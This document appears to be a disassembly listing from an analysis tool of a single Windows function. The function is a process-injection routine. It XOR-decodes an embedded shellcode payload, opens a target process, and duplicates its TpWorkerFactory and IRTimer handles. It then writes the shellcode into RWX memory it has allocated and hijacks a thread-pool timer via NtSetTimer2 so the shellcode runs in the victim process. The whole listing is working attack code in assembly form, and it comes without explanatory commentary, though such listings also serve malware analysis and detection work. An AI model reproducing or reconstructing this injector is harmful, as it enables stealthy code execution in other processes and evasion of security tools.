Function at 0x1400113de
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140014b70
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x9b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x19e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x9d8]
mov rax, qword [0x140023448]
xor rax, rbp
mov qword [rbp + 0x968], rax
lea rcx, [0x1400290f8]
call fcn.140011582
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x44], 0x409c
mov dword [rbp + 0x64], 0
jmp 0x140014beb
mov eax, dword [rbp + 0x64]
inc eax
mov dword [rbp + 0x64], eax
movsxd rax, dword [rbp + 0x64]
cmp rax, 0x37d
jae 0x140014c36
movsxd rax, dword [rbp + 0x64]
lea rcx, section..data
movzx eax, byte [rcx + rax]
xor eax, 0x77
movsxd rcx, dword [rbp + 0x64]
lea rdx, section..data
mov byte [rdx + rcx], al
movsxd rax, dword [rbp + 0x64]
lea rcx, section..data
movzx eax, byte [rcx + rax]
mov edx, eax
lea rcx, str.x_02x
call fcn.140011299
jmp 0x140014be3
lea rcx, [0x14001f558]
call fcn.140011299
mov r8d, dword [rbp + 0x44]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140014c7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_failed:_0x_08X_n
call fcn.140011299
mov eax, 1
jmp 0x1400158e3
mov r8, qword [rbp + 8]
mov edx, dword [rbp + 0x44]
lea rcx, str.___Opened_a_remote_handle_to_the_target_process__d:_0x_p_n
call fcn.140011299
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
lea rcx, [rbp + 0xc8]
call fcn.1400113e8
nop
mov eax, dword [rbp + 0x84]
mov edx, eax
lea rcx, [rbp + 0xc8]
call fcn.1400112e9
lea rcx, [rbp + 0xc8]
call fcn.1400115fa
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x84]
mov r8, rax
mov edx, 0x33
mov rcx, qword [rbp + 8]
call fcn.1400114ab
mov dword [rbp + 0xa4], eax
movsxd rax, dword [rbp + 0xa4]
cmp rax, 0xffffffffc0000004
je 0x140014cb0
cmp dword [rbp + 0xa4], 0
je 0x140014d49
lea rcx, str.____NtQueryInformationProcess_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x754], 1
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x754]
jmp 0x1400158e3
lea rcx, [rbp + 0xc8]
call fcn.1400115fa
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x128], 0xffffffffffffffff
mov qword [rbp + 0x148], 0xffffffffffffffff
lea rcx, [rbp + 0x168]
call fcn.1400113e8
nop
mov dword [rbp + 0x1c4], 0
jmp 0x140014d99
mov eax, dword [rbp + 0x1c4]
inc eax
mov dword [rbp + 0x1c4], eax
movsxd rax, dword [rbp + 0x1c4]
mov rcx, qword [rbp + 0x108]
cmp rax, qword [rcx]
jae 0x140014f6c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movsxd rcx, dword [rbp + 0x1c4]
imul rcx, rcx, 0x28
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xf003f
lea r9, [rbp + 0x128]
mov r8, rax
mov rax, qword [rbp + 0x108]
mov rdx, qword [rax + rcx + 0x10]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0
jne 0x140014e4c
lea rcx, str.____DuplicateHandle_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x774], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x774]
jmp 0x1400158e3
mov dword [rbp + 0x204], 0
mov eax, dword [rbp + 0x204]
mov edx, eax
lea rcx, [rbp + 0x168]
call fcn.1400112e9
lea rcx, [rbp + 0x168]
call fcn.1400115fa
lea rcx, [rbp + 0x204]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x204]
mov r8, rax
mov edx, 2
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ntdll.dll_NtQueryObject]
mov dword [rbp + 0xa4], eax
movsxd rax, dword [rbp + 0xa4]
cmp rax, 0xffffffffc0000004
je 0x140014e56
cmp dword [rbp + 0xa4], 0
je 0x140014f00
lea rcx, str.____NtQueryObject_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x794], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x794]
jmp 0x1400158e3
lea rcx, [rbp + 0x168]
call fcn.1400115fa
mov qword [rbp + 0x1a8], rax
mov r8, qword [rbp + 0x128]
mov rax, qword [rbp + 0x1a8]
mov rdx, qword [rax + 8]
lea rcx, str._t_t_ls___0x_p_n
call fcn.140011299
mov rax, qword [rbp + 0x1a8]
mov rdx, qword [rax + 8]
lea rcx, str.TpWorkerFactory
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140014f62
mov rdx, qword [rbp + 0x128]
lea rcx, str.___Duplicated_a_TpWorkerFactory_handle:_0x_p_n
call fcn.140011299
jmp 0x140014f6c
jmp 0x140014d8b
cmp qword [rbp + 0x128], 0xffffffffffffffff
jne 0x140014fba
lea rcx, str.____Failed_to_duplicate_TpWorkerFactory_handle._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7b4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x7b4]
jmp 0x1400158e3
mov dword [rbp + 0x224], 0
jmp 0x140014fd4
mov eax, dword [rbp + 0x224]
inc eax
mov dword [rbp + 0x224], eax
movsxd rax, dword [rbp + 0x224]
mov rcx, qword [rbp + 0x108]
cmp rax, qword [rcx]
jae 0x1400151a7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movsxd rcx, dword [rbp + 0x224]
imul rcx, rcx, 0x28
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f0003
lea r9, [rbp + 0x148]
mov r8, rax
mov rax, qword [rbp + 0x108]
mov rdx, qword [rax + rcx + 0x10]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0
jne 0x140015087
lea rcx, str.____DuplicateHandle_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7d4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x7d4]
jmp 0x1400158e3
mov dword [rbp + 0x264], 0
mov eax, dword [rbp + 0x264]
mov edx, eax
lea rcx, [rbp + 0x168]
call fcn.1400112e9
lea rcx, [rbp + 0x168]
call fcn.1400115fa
lea rcx, [rbp + 0x264]
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x264]
mov r8, rax
mov edx, 2
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ntdll.dll_NtQueryObject]
mov dword [rbp + 0xa4], eax
movsxd rax, dword [rbp + 0xa4]
cmp rax, 0xffffffffc0000004
je 0x140015091
cmp dword [rbp + 0xa4], 0
je 0x14001513b
lea rcx, str.____NtQueryObject_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x7f4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x7f4]
jmp 0x1400158e3
lea rcx, [rbp + 0x168]
call fcn.1400115fa
mov qword [rbp + 0x1a8], rax
mov r8, qword [rbp + 0x148]
mov rax, qword [rbp + 0x1a8]
mov rdx, qword [rax + 8]
lea rcx, str._t_t_ls___0x_p_n
call fcn.140011299
mov rax, qword [rbp + 0x1a8]
mov rdx, qword [rax + 8]
lea rcx, str.IRTimer
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14001519d
mov rdx, qword [rbp + 0x148]
lea rcx, str.___Duplicated_a_TimerProcess_handle:_0x_p_n
call fcn.140011299
jmp 0x1400151a7
jmp 0x140014fc6
cmp qword [rbp + 0x148], 0xffffffffffffffff
jne 0x1400151f5
lea rcx, str.____Failed_to_duplicate_TimerProcess_handle._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x814], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x814]
jmp 0x1400158e3
mov qword [rbp + 0x288], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x37d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x14001528f
lea rcx, str.____VritualAllocEx_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x834], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x834]
jmp 0x1400158e3
mov rdx, qword [rbp + 0x288]
lea rcx, str.___Allocated_shellcode_memory_to_the_target_process:_0x_p_n
call fcn.140011299
mov qword [rsp + 0x20], 0
mov r9d, 0x37d
lea r8, section..data
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0
jne 0x140015336
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x854], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x854]
jmp 0x1400158e3
lea rcx, str.___Written_shellcode_to_the_target_process._n
call fcn.140011299
mov dword [rbp + 0x2d0], 0
lea rax, [rbp + 0x2d4]
mov rdi, rax
xor eax, eax
mov ecx, 0x74
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x78
lea r8, [rbp + 0x2d0]
mov edx, 7
mov rcx, qword [rbp + 0x128]
call fcn.1400113f7
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x1400153f3
lea rcx, str.____NtQueryInformationWorkerFactory_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x874], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x874]
jmp 0x1400158e3
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolTimer]
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0
jne 0x140015474
lea rcx, str.____CreateThreadpoolTimer_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x894], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x894]
jmp 0x1400158e3
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x168
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
jne 0x140015503
lea rcx, str.____VirtualAllocEx_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8b4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x8b4]
jmp 0x1400158e3
mov dword [rbp + 0x3a4], 0xff676980
mov rax, qword [rbp + 0x368]
mov rcx, qword [rbp + 0x320]
mov qword [rax + 0x90], rcx
mov rax, qword [rbp + 0x368]
mov qword [rax + 0x148], 0xffffffffff676980
mov rax, qword [rbp + 0x368]
mov qword [rax + 0x140], 0xffffffffff676980
mov rax, qword [rbp + 0x368]
mov qword [rax + 0x118], 0xffffffffff676980
mov rax, qword [rbp + 0x388]
add rax, 0x130
mov rcx, qword [rbp + 0x368]
mov qword [rcx + 0x130], rax
mov rax, qword [rbp + 0x388]
add rax, 0x130
mov rcx, qword [rbp + 0x368]
mov qword [rcx + 0x138], rax
mov rax, qword [rbp + 0x388]
add rax, 0x108
mov rcx, qword [rbp + 0x368]
mov qword [rcx + 0x108], rax
mov rax, qword [rbp + 0x388]
add rax, 0x108
mov rcx, qword [rbp + 0x368]
mov qword [rcx + 0x110], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x168
mov r8, qword [rbp + 0x368]
mov rdx, qword [rbp + 0x388]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0
jne 0x140015658
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8d4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x8d4]
jmp 0x1400158e3
mov rax, qword [rbp + 0x388]
add rax, 0x120
mov qword [rbp + 0x3c8], rax
mov rax, qword [rbp + 0x368]
mov rax, qword [rax + 0x90]
add rax, 0x80
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x3c8]
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0
jne 0x140015710
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x8f4], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x8f4]
jmp 0x1400158e3
mov rax, qword [rbp + 0x388]
add rax, 0xf8
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x368]
mov rax, qword [rax + 0x90]
add rax, 0x88
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x3e8]
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0
jne 0x1400157c8
lea rcx, str.____WriteProcessMemory_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x914], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x914]
jmp 0x1400158e3
mov dword [rbp + 0x408], 0
lea rax, [rbp + 0x40c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rbp + 0x408], 0xffffffffff676980
lea rax, [rbp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea r9, [rbp + 0x428]
xor r8d, r8d
lea rdx, [rbp + 0x408]
mov rcx, qword [rbp + 0x148]
call fcn.140011474
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
je 0x14001588a
lea rcx, str.____NtSetTimer2_failed._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x934], 1
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x934]
jmp 0x1400158e3
lea rcx, str.___Done._n
call fcn.140011299
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x954], 0
lea rcx, [rbp + 0x168]
call fcn.1400111bd
nop
lea rcx, [rbp + 0xc8]
call fcn.1400111bd
mov eax, dword [rbp + 0x954]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001f0c0]
call fcn.1400114c9
mov rax, rdi
mov rcx, qword [rbp + 0x968]
xor rcx, rbp
call fcn.1400112b7
lea rsp, [rbp + 0x978]
pop rdi
pop rbp
ret